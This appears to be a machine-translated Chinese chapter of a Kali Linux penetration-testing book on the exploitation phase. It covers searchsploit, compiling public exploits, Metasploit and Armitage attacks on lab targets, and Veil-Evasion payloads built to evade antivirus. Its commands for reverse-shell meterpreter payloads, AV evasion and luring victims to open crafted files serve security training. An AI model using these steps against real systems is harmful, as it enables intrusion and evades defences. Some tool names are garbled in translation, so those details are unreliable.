被动和主动侦察的目标是识别最有可能支持测试人员或攻击者目标(拒绝服务、盗窃或修改数据)的可利用安全缺陷。杀伤链的攻击阶段侧重于创建访问以实现以下目标:通过创建拒绝服务来停止对目标的访问,或者通过更常见的方法建立攻击者对目标的持久访问。
渗透测试人员必须关注利用阶段的以下方面:
- 目标的特征是否充分?如果攻击者不了解目标的网络和主机体系结构,攻击将失败,检测风险将增加。
- 该漏洞是否众所周知,在目标系统上有定义的操作?使用非特征性漏洞时可能会产生意外后果,由此造成的损害可能会对测试过程产生负面影响。测试人员应在使用前验证已知环境中的所有漏洞利用。
- 攻击是从远程位置进行的还是在目标系统上的本地进行的?远程攻击对攻击者来说更安全,因为被积极识别的机会更小;但是,本地攻击使攻击者能够更好地控制攻击的行为,并降低检测的可能性。
- 利用漏洞后所需的活动是什么?如果攻击者需要从目标中过滤数据,则该漏洞必须支持建立交互式连接。
- 是否需要对受损系统进行持久访问,或者该受损将是短期的?这将推动对隐身方法的需求。
已发现数千个可利用漏洞,其中大多数与至少一个概念验证代码或技术相关,以允许系统受到危害。然而,控制成功的基本原则在网络、操作系统和应用中是相同的。
在本章中,您将学习:
- 威胁建模
- 使用在线和本地漏洞资源
- 使用 Metasploit 框架利用远程目标
- 利用 Armitage 利用多个目标
- 绕过 IDs 和防病毒检测
被动和主动侦察阶段映射目标网络和系统,并识别可能被利用以实现攻击者目标的漏洞。在攻击者杀伤链的这一阶段,行动测试人员强烈倾向于立即发动攻击,并证明他们可以危害目标。然而,计划外攻击可能不是实现目标的最有效手段,它可能会牺牲实现攻击目标所需的隐身能力。
渗透测试人员(正式或非正式)采用了一种称为威胁建模的过程,该过程最初由网络规划人员利用,用于制定针对攻击的防御对策。
渗透测试人员和攻击者彻底改变了防御威胁建模方法,以提高攻击的成功率。攻击性威胁建模是一种形式化方法,它结合侦察和研究结果来制定攻击策略。攻击者必须考虑可用的目标并识别如下列出的目标类型:
- 主要目标:这些目标一旦受损,这些目标将立即支持目标。
- 次要目标:这些目标可能提供信息(安全控制、密码和日志策略,以及本地和域管理员名称和密码),以支持攻击或允许访问主要目标。
- 三级目标:这些目标可能与测试或攻击目标无关,但相对容易妥协,可能提供信息或干扰实际攻击。
对于每种目标类型,测试人员必须确定要使用的方法。可以使用隐形技术攻击单个漏洞,也可以使用大量攻击攻击多个目标,以便快速利用目标。如果实施大规模攻击,defender 控制设备中的噪音将经常导致它们最小化在路由器和防火墙上的登录,甚至完全禁用它们。
所使用的方法将指导漏洞的选择。通常,攻击者在创建威胁模型时遵循攻击树方法,如下图所示:
攻击树方法允许测试人员轻松地可视化可用的攻击选项,以及在选定攻击未成功时可采用的备选选项。一旦生成攻击树,攻击阶段的下一步就是识别可能用于危害目标漏洞的攻击。
被动侦察和主动侦察共同识别目标的攻击面,即可评估漏洞的总点数。仅安装了操作系统的服务器只有在特定操作系统中存在漏洞时才能被利用;但是,安装的每个应用都会增加潜在漏洞的数量。
渗透测试人员和攻击者必须找到会危害已知和可疑漏洞的特定漏洞。首先开始搜索的地方是供应商站点;大多数硬件和应用供应商在发布修补程序和升级时都会发布有关漏洞的信息。如果已知某个特定弱点的漏洞,大多数供应商都会向其客户强调这一点。尽管他们的目的是让客户自己测试漏洞的存在,但攻击者和渗透测试人员也会利用这些信息。
收集、分析和共享漏洞信息的其他在线网站如下:
- 国家脆弱性数据库,整合了美国政府发布的所有公共脆弱性数据,可在获取 http://web.nvd.nist.gov/view/vuln/search
- Secunia 在上提供 http://secunia.com/community/
- 开源漏洞数据库项目(OSVDP)可在获取 http://www.osvdb.org/search/advsearch
- Packetstorm security 可在上获得 http://packetstormsecurity.com/
- SecurityFocus 在上提供 http://www.securityfocus.com/vulnerabilities
- Inj3ct0r 可从获取 http://1337day.com/
- 攻击性安全维护的漏洞数据库位于http://www.db-exploit.com
漏洞数据库也被本地复制到 Kali,可在/usr/share/exploitdb
目录中找到。在使用之前,请确保已使用以下命令对其进行了更新:
cd /usr/share/exploitdb
wget http://www.exploit-db.com/archive.tar.bz2
tar -xvjf archive.tar.bz2
rm archive.tar.bz2
要搜索exploitdb
的本地副本,请打开终端窗口,并在命令提示中输入searchsploit
和所需的搜索项。这将调用一个脚本,搜索包含所有漏洞列表的数据库文件(.csv
。搜索将返回已知漏洞的描述以及相关漏洞的路径。可以针对特定漏洞提取、编译和运行该漏洞。请查看以下屏幕截图,其中显示了漏洞的描述:
搜索脚本从左到右扫描 CSV 文件中的每一行,因此搜索词的顺序很重要—搜索oracle 10g
将返回多个漏洞,但10g oracle
不会返回任何漏洞。此外,脚本对大小写的敏感度也很高;虽然指示您在搜索词中使用小写字符,但搜索Bulletproof FTP
时不会返回任何命中,但bulletproof FTP
会返回七次命中,bulletproof ftp
不会返回任何命中。可以使用grep
命令或 KWrite(apt-get install kwrite
等搜索工具对 CSV 文件进行更有效的搜索。
对本地数据库的搜索可通过描述和路径列表识别多个可能的漏洞利用;但是,这些必须根据您的环境进行定制,然后在使用之前进行编译。将漏洞复制到/tmp
目录(给定的路径不考虑/windows/remote
目录位于/platforms
目录)。
以 Perl、Ruby 和 PHP 等脚本形式呈现的漏洞利用相对容易实现。例如,如果目标是可能易受 WebDAV 远程身份验证绕过攻击的 Microsoft II 6.0 服务器,将漏洞复制到根目录,然后作为标准 Perl 脚本执行,如以下屏幕截图所示:
许多漏洞都是源代码,必须在使用前编译。例如,搜索特定于 RPC 的漏洞可以识别几种可能的漏洞利用。以下屏幕截图中显示了摘录:
实践证明,被识别为76.c
的 RPC DCOM 漏洞相对稳定。因此,我们将以它为例。要编译此漏洞,请将其从存储目录复制到/tmp
目录。在该位置,使用 GCC 和以下命令进行编译:
root@kali:~# gcc 76.c -o 76.exe
这将使用 GNU 编译器集合应用将76.c
编译成输出(-o
名称为76.exe
的文件,如下图所示:
当您针对目标调用应用时,必须使用符号链接调用可执行文件(未存储在/tmp
目录中),如下所示:
root@kali:~# ./76.exe
此漏洞利用的源代码有很好的文档记录,执行时所需的参数很清楚,如以下屏幕截图所示:
不幸的是,并非所有来自漏洞数据库和其他公共来源的漏洞都像76.c
那样容易编译。对于渗透测试人员来说,有几个问题使得使用此类漏洞攻击成为问题,甚至是危险的,如下所示:
- 当有经验的利用人员试图让没有经验的用户(尤其是新手)远离漏洞利用时,通常会遇到故意错误或不完整的源代码,因为他们试图在不知道其行为所带来的风险的情况下破坏系统。
- 未充分记录漏洞利用情况;毕竟,没有一个标准来管理用于破坏数据系统的代码的创建和使用。因此,它们可能很难使用,特别是对于缺乏应用利用专业知识的测试人员。
- 由于环境变化(应用于目标系统的新补丁和目标应用中的语言变化)导致的不一致行为可能需要对源代码进行重大修改;同样,这可能需要熟练的利用人员。
- 始终存在免费提供包含恶意功能的代码的风险。渗透测试人员可能认为他正在进行概念验证(POC)练习,并且不会意识到该漏洞也在被测试的应用中创建了一个可供利用人员使用的后门。
为了确保一致的结果,并创建一个遵循一致实践的编码人员社区,已经利用了几个利用框架。最流行的利用框架是 Metasploit 框架。
Metasploit 框架(MSF是一个开源工具,旨在促进渗透测试。它是用 Ruby 编程语言编写的,使用模块化方法来促进漏洞利用。这使得利用和编码利用变得更容易,而且还允许轻松实施复杂的攻击。
MSF 可以向控制利用漏洞的后端模块(控制台、CLI 和 web)提供多个接口。我们将使用控制台界面来提高其速度,因为它提供了攻击命令,并且在一个易于理解的界面中具有所需的配置参数。进入此界面,在命令提示下输入msfconsole
或从10 大安全工具等下拉菜单中选择。以下屏幕截图显示了应用启动时的启动屏幕:
MSF 由模块组成,这些模块组合在一起可影响漏洞利用。各模块及其具体功能如下:
- 利用:针对特定漏洞的代码片段。主动攻击将攻击特定目标,运行直到完成,然后退出(例如,缓冲区溢出)。被动攻击会等待传入的主机(如 web 浏览器或 FTP 客户端),并在它们连接时对其进行攻击。
- 有效载荷:这些是在成功利用漏洞后立即执行命令的恶意代码。
- 辅助模块:这些模块不建立或直接支持测试仪与目标系统之间的访问;相反,它们执行相关的功能,如支持利用阶段的扫描、模糊或嗅探。
- Post 模块:成功攻击后,这些模块在受损目标上运行,以收集有用数据,并使攻击者深入目标网络。我们将在第 5 章、攻击后-目标行动中了解更多关于 post 模块的信息。
- 编码器:当漏洞攻击必须绕过防病毒防御时,这些模块对有效负载进行编码,以便使用签名匹配技术无法检测到有效负载。
- 无操作(NOPs):这些用于在攻击期间促进缓冲区溢出。
这些模块一起用于对目标进行侦察和发动攻击。使用 MSF 利用目标系统的步骤可总结如下:
- 选择并配置一个漏洞攻击(危害目标系统上特定漏洞的代码)。
- 检查目标系统以确定其是否容易受到攻击。此步骤是可选的,通常会被省略以最小化检测。
- 选择并配置有效负载(成功利用漏洞后将在目标系统上执行的代码。例如,从受损系统返回源的反向 shell)。
- 选择一种编码技术以绕过检测控制(IDs/IPs 或防病毒软件)。
- 执行漏洞攻击。
下一个示例表示针对基于 Linux 的目标操作系统 Metasploitable2 的简单攻击。可在线访问http://sourceforge.net/projects/metasploitable/files/Metasploitable2 。Metasploitable2 设计为易受攻击,它包含已知和特征化的漏洞,为培训和验证漏洞利用工具提供了标准平台。
当安装为虚拟机时(见附录、安装 Kali Linux中所述),可以使用nmap
扫描 Metasploitable,该扫描识别打开的端口和相关应用。以下屏幕截图显示了nmap
扫描的摘录:
在前面的示例中,nmap
标识了几个应用。作为测试人员,我们应该调查每一个漏洞。首先要开始的地方之一是 Metasploit 自己的漏洞收集。可以使用以下命令行进行搜索:
msf> search samba
将列出返回的 samba 服务漏洞利用率,并为每个漏洞利用率分配一个相对排名,以说明它们在实现漏洞利用方面的成功程度。以下屏幕截图显示了可用 samba 漏洞的摘录:
exploit/multi/samba/usermap_script
漏洞被选择用于本示例的其余部分,因为它被评为优秀。该排名由 Metasploit 利用团队确定,并确定了熟练测试人员在稳定目标系统上利用该漏洞的可靠性。在现实生活中,多个变量(测试人员技能、网络上的保护设备以及对操作系统和托管应用的修改)可以协同工作,从而显著改变漏洞利用的可靠性。
使用以下info
命令获得了与该漏洞利用有关的其他信息:
msf> info exploit/multi/samba/usermap_script
返回的信息包括参考以及以下屏幕截图中显示的信息:
为了指示 Metasploit 我们将利用此漏洞攻击目标,我们发出以下命令:
msf> use exploit/multi/samba/usermap_script
Metasploit 将命令提示从msf>
更改为msf exploit (usermap_script) >
。
Metasploit 提示测试人员选择有效负载(从受损系统返回给攻击者的反向外壳),并设置以下列出的其他变量:
- 远程主机(RHOST):此为被攻击系统的 IP 地址
- 远程端口(RPORT):此为漏洞利用所使用的端口号
- 本地主机(LHOST):此为发起攻击的系统的 IP 地址
所有变量设置完毕后,在提示符处输入exploit
命令,发起攻击。Metasploit 发起攻击,并通过指示command shell 1 opened
并给出发起和终止反向外壳的 IP 地址来确认存在反向外壳。
为了验证是否存在外壳,测试人员可以查询主机名、用户名(uname -a
和whoami
,以确认结果特定于位于远程位置的目标系统。请看以下屏幕截图:
当一个系统被破坏到这种程度时,它准备好进行攻击后活动(参见第 5 章、攻击后-针对目标的行动和第 6 章、攻击后-持续性。要向 Metasploit 添加新的漏洞,请使用 Ruby 脚本(.rb
或 Python(.py
,将它们放在主目录中的隐藏.msf4
文件夹中,然后重新加载msfconsole
。
Metasploit 框架对操作系统和第三方应用中的漏洞同样有效。在本例中,我们将利用 Chasys Draw IES(版本 4.10.01)中发现的缓冲区溢出漏洞进行攻击。该漏洞存在于ReadFile
函数中,该函数用于以不安全的方式存储用户提供的数据。利用此漏洞会导致在用户上下文中执行任意代码。
要发起攻击,测试人员需要生成一个精心编制的 BMP 文件,然后让受害者在 Chasys 应用中打开该文件。当这种情况发生时,它将危害基本操作系统(对 Windows XP SP3 和 Windows 7 SP1 有效)。
第一步是打开msfconsole
并将 Metasploit 设置为使用exploit/windows/fileformat/chasys_draw_ies_bof
,如下图所示:
同样,该漏洞是一个相对简单的漏洞。需要测试人员设置一个从受损系统返回测试人员系统的反向外壳(reverse_tcp
),即本地主机(LHOST)。
当攻击完成时,它会创建巧尽心思构建的 BMP 文件,该文件以默认名称msf.bmp
存储。为了诱使目标打开文件并避免某些设备可能检测到的默认名称,最好将文件名更改为与预期目标更相关的名称。
下一步是打开一个新的msfconsole
实例,并为传入的反向 TCP 外壳设置一个监听器,该反向 TCP 外壳将在目标受损时源自目标。下面的屏幕截图显示了一个简单的侦听器:
一旦受害者在易受攻击的应用中打开精心制作的 BMP 图像文件,就会在两个系统之间打开一个meterpreter
会话。将msf
提示符替换为meterpreter
提示符,测试人员可以通过命令外壳有效访问远程系统。妥协后的第一步是验证您是否在目标系统上;正如您在下面的屏幕截图中所看到的,sysinfo
命令识别计算机名和操作系统,验证攻击是否成功:
Armitage 经常被渗透测试人员所忽视,他们避开了它的 GUI 界面,转而使用 Metasploit 控制台的传统命令行输入。然而,它拥有 Metasploit 的功能,同时提供了许多可能的选项,使其成为复杂测试环境中的一个很好的替代方案。与 Metasploit 不同,它还允许您同时测试多个目标,一次最多测试 512 个目标。
要启动 Armitage,请确保使用以下命令启动数据库和 Metasploit 服务:
service postgresqlstart
service metasploit start
完成该步骤后,在命令提示符上输入armitage
以执行该命令。Armitage 并不总是干净地执行,可能需要重复启动步骤以确保其正常运行。
要发现可用目标,您可以通过提供其 IP 地址手动添加主机,或从菜单栏上的主机选项卡中选择nmap
扫描。Armitage 还可以使用 MSF 辅助命令或 DNS 枚举来枚举目标。
Armitage 还可以从以下文件导入主机数据:Acunetix、amap、AppScan、Burp proxy、Foundstone、Microsoft Baseline Security Analyzer、Nessus NBE 和 XML 文件、NetSparker、NeXpose、nmap、OpenVas、Qualys 和 Retina。初始 Armitage 开始屏幕显示在以下屏幕截图中:
Armitage 允许您通过右键单击选择主机,然后进入主机菜单并选择主机**设置标签……**功能来设置主机标签。这允许您标记一个特定的地址或用一个通用名称标识它,这在使用基于团队的测试时很有用。此过程显示在以下屏幕截图中:
Armitage 还支持动态工作区—一种基于网络标准、操作系统、开放端口和服务以及标签的过滤网络视图。例如,您可以测试一个网络,并确定几个似乎没有修补到网络其余部分的服务器。通过给它们一个标签,然后将它们放置在优先级工作区中,可以突出显示这些内容。
一旦您确定了网络上存在的目标系统,您就可以选择特定的模块作为利用过程的一部分来实现。您还可以使用菜单栏中的攻击选项查找攻击。
要利用主机进行攻击,请右键单击选择该主机,导航到攻击项,然后选择一个利用漏洞的攻击(确保操作系统设置为正确的主机;这并不总是自动发生)。
一个有趣的选项是冰雹玛丽,位于攻击选项下。通过选择此功能,所有已识别的系统将自动受到攻击,以实现最大数量的可能危害。这是一种非常嘈杂的攻击,因此应作为最后手段的测试选择。这也是确定入侵检测系统是否正确实施和配置的一个很好的方法!
被破坏的系统显示为带有红色边框的图标,带有电火花。在下一个屏幕截图中,两个测试系统被破坏,这些系统和测试人员之间有四个活动会话。Active Sessions
面板指示连接,并识别用于危害目标的漏洞。查看以下代表不同选项的屏幕截图:
在进行渗透测试期间,Hail Mary选项识别了目标的两个可利用漏洞,并启动了两个活动会话。使用同一目标进行的手动测试最终确定了八个可利用漏洞,在受损系统和测试人员之间有多个通信通道。在渗透测试过程中,这种类型的真实世界测试强化了自动化工具的优势和劣势。
Armitage 不仅仅是 Metasploit 框架的 GUI 前端;它是一个可编写脚本的渗透测试工具,允许团队使用 Metasploit 框架的单个实例,以便 GUI 显示以下功能:
- 它使用相同的会话,允许一个测试人员监督过程,确定感兴趣的结果,并控制测试的方向。
- 它运行脚本以自动化测试任务。
- 它共享下载的文件,如密码文件。这使得一个团队成员可以专注于密码破解,而其他团队成员则可以继续进行攻击阶段。
- 它使用共享事件日志进行通信。
要利用团队配置的优势,请确保 Armitage 尚未运行,然后从Armitage
目录中的控制台提示符调用teamserver
脚本,通常为/usr/share/armitage
,如下所示:
root@kali:/usr/share/armitage# ./teamserverip_address password
确保 IP 地址正确,因为它没有经过 Armitage 验证,并且所有团队成员都可以访问端口55553
上的主机。启动 Armitage team server 时,它使用 SSL 证书与团队成员通信;团队成员应验证证书的 SHA-1 哈希是否与服务器的 SSL 证书匹配。
当teamserver
脚本运行时,不要连接到127.0.0.1
,因为 Armitage 使用该 IP 地址进行连接,并确定是否应该使用 SSL(teamserver
或远程地址)或非 SSL(localhost
或msfrpcd
)。要在本地将 Armitage 连接到teamserver
,请使用主机字段中的外部 IP 地址。
用户可以打开一个或多个命令 shell、浏览文件、下载数据和截图。Shell 会话在使用时会自动锁定,然后解锁。但是,随着时间的推移,某些 MeterMeter 脚本可能无法正常工作。
要作为一个团队进行沟通,菜单中的视图选项将打开共享事件日志。您可以像使用 IRC 或其他聊天室一样在日志中输入内容,日志会永久记录所有评论。
Armitage 包括基于 Sleep 的 Cortana 脚本语言,这是一种类似 Perl 的可扩展语言。Cortana 脚本可以定义键盘快捷键、插入菜单和创建独特的用户界面。
脚本可以作为独立实体运行(这要求 Armitage 团队服务器处于活动状态),也可以直接从 Armitage 运行。要加载现有脚本,请在主菜单栏中选择Armitage,然后选择脚本。一个选项卡式视图将打开,一个按钮将为您提供加载脚本的选项。
Armitage 还提供了一个脚本环境,可从菜单的视图|脚本控制台选项卡调用,如以下屏幕截图所示:
使用 Metasploit 框架完全扫描目标系统的示例脚本可以写成scanner.cna
。每当添加新主机(host_add
时,MSF 端口扫描程序将扫描定义的 TCP 端口列表和可用的 UDP 端口。查看以下代码段,其中显示了扫描仪脚本:
# MSF port scanner
onhost_add {
println("[*] MSF Port Scanner New Host OpenPorts on$1");
$console = console();
cmd($console, "use auxiliary/scanner/portscan/tcp");
cmd($console, "set THREADS 12");
cmd($console, "set PORTS 139, 143");
# enter other ports as required
cmd($console, "set RHOSTS $1");
cmd($console, "run -j");
cmd($console, "use auxiliary/scanner/discovery/udp_sweep");
cmd($console, "set THREADS 12");
cmd($console, "set BATCHSIZE 256");
cmd($console, "set RHOSTS $1");
cmd($console, "run -j");
db_sync();
}
由于 Cortana 在 Metasploit 框架中具有广泛的挂钩,因此可以使用脚本自动启动攻击,执行攻击后活动,如跟踪用户活动,并促进攻击者杀死链中的多用户活动。
对于渗透测试人员或攻击者来说,杀伤链的攻击阶段是最危险的阶段。他们直接与目标网络或系统进行交互,很有可能记录他们的活动或发现他们的身份。同样,必须采用隐身技术,以将测试人员面临的风险降至最低。虽然没有无法检测到的特定方法或工具,但存在一些配置更改和特定工具,这将使检测更加困难。
当考虑远程攻击时,大多数网络和系统采用各种类型的防御控制,以将攻击风险降至最低。网络设备包括路由器、防火墙、入侵检测和预防系统以及恶意软件检测软件。
为了便于利用,大多数框架都包含一些特性,使攻击具有一定的隐蔽性。Metasploit 框架允许您逐个漏洞手动设置规避因子;但是,确定哪些因素(如加密、端口号、文件名等)可能很困难,并且每个特定 ID 都会发生变化。Metasploit 框架还允许对目标和攻击系统之间的通信进行加密(即windows/meterpreter/reverse_tcp_rc4
有效载荷),从而使利用有效载荷难以检测。
Metasploit Pro 在 Kali 发行版上作为试用版提供,包括以下内容,以专门绕过入侵检测系统:
- 可在发现扫描的设置中调整扫描速度,通过将速度设置为鬼鬼祟祟或偏执来降低与目标的交互速度
- 通过发送较小的 TCP 数据包并增加数据包之间的传输时间来实现传输规避
- 减少针对目标系统同时发起的攻击次数
- 针对涉及 DCERPC、HTTP 和 SMB 的漏洞攻击,可以自动设置特定于应用的规避选项
大多数防病毒软件依靠签名匹配来定位病毒和其他恶意软件。他们检查每个可执行文件中已知存在于病毒中的代码字符串(签名),并在检测到可疑字符串时发出警报。Metasploit 的许多攻击都依赖于可能具有签名的文件,随着时间的推移,这些签名已被防病毒供应商识别。
对此,Metasploit 框架允许对独立可执行文件进行编码以绕过检测。不幸的是,在公共站点(如virustotal.com)对这些可执行文件进行的广泛测试降低了它们绕过 AV 软件的有效性。
Chris Truncer 编写的一个新的 AV 规避框架,名为 Veil Evision(www.Veil-Evision.com),目前正在提供有效的保护,防止检测到独立漏洞。面纱规避将各种外壳代码注入技术聚合到一个简化管理的框架中。
作为一个框架,面纱规避具有以下几个特征:
- 它在各种编程语言(包括 C、C#和 Python)中合并了自定义外壳代码
- 它可以使用 Metasploit 生成的外壳代码
- 它可以集成第三方工具,如 Hyperion(使用 AES-128 位加密对 EXE 文件进行加密)、PEScrambler 和 BackDoor Factory
Veil-Evasion_evasion.cna
脚本允许在 Armitage 及其商业版 Cobalt Strike 中集成面纱规避功能- 可以生成有效负载,并将其无缝替换到所有 PsExec 调用中
- 用户能够重用外壳代码或实现自己的加密方法
- 它的功能可以编写脚本以自动化部署
- 面纱规避正在不断利用中,该框架已通过诸如面纱规避弹射器(有效载荷交付系统)等模块进行了扩展
面纱规避可产生利用有效载荷;独立有效载荷包括以下选项:
- 调用外壳代码的最少 Python 安装;它上传一个最小的
Python.zip
安装和 7zip 二进制文件。Python 环境被解压,调用外壳代码。由于与受害者交互的文件只有可信的 Python 库和解释器,因此受害者的 AV 不会检测到任何异常活动或发出警报。 - Sethc backdoor,它将受害者的注册表配置为启动粘滞键 RDP backdoor。
- PowerShell 外壳代码注入器。
创建有效载荷后,可通过以下两种方式之一将其交付给目标:
- 使用 Impacket 和 PTH 工具包上载和执行
- UNC 调用
可以从 Kali 存储库中获得面纱规避,例如面纱规避,只需在命令提示符中输入apt-get install veil-evasion
即可自动安装。
如果在安装过程中收到任何错误,请重新运行/usr/share/veil-evasion/setup/setup.sh
脚本。
面纱规避向用户提供主菜单,主菜单提供加载的有效负载模块数量以及可用命令。键入list
将列出所有可用的payloads
,list langs
将列出可用的语言有效载荷,list <language>
将列出特定语言的有效载荷。Veil Evision 的初始启动屏幕显示在以下屏幕截图中:
面纱规避正在快速发展,每月发布重要版本,更频繁地进行重要升级。目前,有 24 个有效负载通过加密或直接注入内存空间来绕过防病毒程序。这些有效载荷显示在下一个屏幕截图中:
要获取有关特定有效载荷的信息,请键入info<payload number / payload name>
或info <tab>
以自动完成可用的有效载荷。您也可以从列表中输入数字。在下面的示例中,我们输入了19
以选择python/shellcode_inject/aes_encrypt
有效载荷:
该漏洞包括一个expire_payload
选项。如果目标用户未在指定的时间范围内执行该模块,则该模块将变得不可操作。此功能有助于攻击的隐蔽性。
所需的选项包括选项的名称以及默认值和说明。如果默认情况下未完成所需的值,则测试仪需要在生成有效负载之前输入一个值。要设置选项的值,请输入set <option name>
,然后键入所需的值。要接受默认选项并创建漏洞,请在命令提示符中键入generate
。
如果有效负载使用外壳代码,您将看到外壳代码菜单,您可以在其中选择msfvenom
(默认外壳代码)或自定义外壳代码。如果选择了自定义外壳代码选项,则以\x01\x02
的形式输入外壳代码,不带引号和换行符(\n
。如果选择了默认的msfvenom
,系统将提示您选择默认的有效负载windows/meterpreter/reverse_tcp
。如果您希望使用其他有效载荷,请按选项卡完成可用有效载荷。可用有效载荷显示在以下屏幕截图中:
在下面的示例中,[tab]
命令用于演示一些可用的有效载荷;但是选择了默认值(windows/meterpreter/reverse_tcp
,如下图所示:
然后,将向用户显示输出菜单,提示用户选择生成的有效载荷文件的基本名称。如果有效负载是基于 Python 的,并且您选择了compile_to_exe
作为选项,则用户可以选择使用Pyinstaller
创建 EXE 文件,或者生成 Py2Exe 文件,如以下屏幕截图所示:
最后一个屏幕显示有关生成的有效负载的信息,如以下屏幕截图所示:
也可以使用以下选项直接从命令行创建该漏洞:
kali@linux:~./Veil-Evasion.py -p python/shellcode_inject/aes_encrypt -o -output --msfpayload windows/meterpreter/reverse_tcp --msfoptions LHOST=192.168.43.134 LPORT=4444
一旦漏洞被创建,测试人员应根据 VirusTotal 验证有效负载,以确保其在目标系统上放置时不会触发警报。如果有效负载样本直接提交给 VirusTotal,并且其行为将其标记为恶意软件,则防病毒(AV)供应商可在一小时内发布针对提交内容的签名更新。这就是为什么用户被明确警告“不要向任何在线扫描仪提交样本!”
面纱规避允许测试人员使用安全检查来对抗 VirusTotal。创建任何有效负载时,将创建一个 SHA1 哈希并将其添加到位于~/veil-output
目录中的hashes.txt
。测试人员可以调用checkvt
脚本将哈希提交给 VirusTotal,VirusTotal 将根据其恶意软件数据库检查 SHA1 哈希值。如果面纱规避有效载荷触发匹配,则测试仪知道目标系统可能会检测到它。如果未触发匹配,则漏洞利用负载将绕过防病毒软件。使用checkvt
命令成功查找(AV 无法检测)如下所示:
到目前为止,测试支持这样一个发现,即如果checkvt
在 VirusTotal 上没有找到匹配项,则目标的防病毒软件将不会检测到有效负载。要与 Metasploit 框架一起使用,请使用exploit/multi/handler
并将PAYLOAD
设置为windows/meterpreter/reverse_tcp
(与面纱规避有效载荷选项相同),同时使用与面纱规避相同的 LHOST 和 LPORT。当侦听器正常工作时,将漏洞发送到目标系统。当侦听器启动它时,它将建立一个反向 shell,返回到攻击者的系统。
在本章中,我们将重点介绍利用漏洞作为一种工具,它可以将侦察结果转换为确定的操作,从而在测试人员和目标之间建立访问。
Kali 提供了多种工具来促进利用、选择和激活漏洞利用,包括内部漏洞利用数据库以及简化漏洞利用的使用和管理的几种框架。在这些框架中,Metasploit 框架和 Armitage 尤为重要;然而,面纱规避通过其绕过防病毒检测的能力增强了两者。
接下来的两章将重点介绍攻击者杀伤链中最重要的部分,即攻击后活动。这是攻击者实现其目标的攻击部分。典型的后利用活动包括盗窃和过滤数据(专有或财务信息)、利用糟糕的访问控制进行横向升级,以及通过盗窃用户凭据进行纵向升级。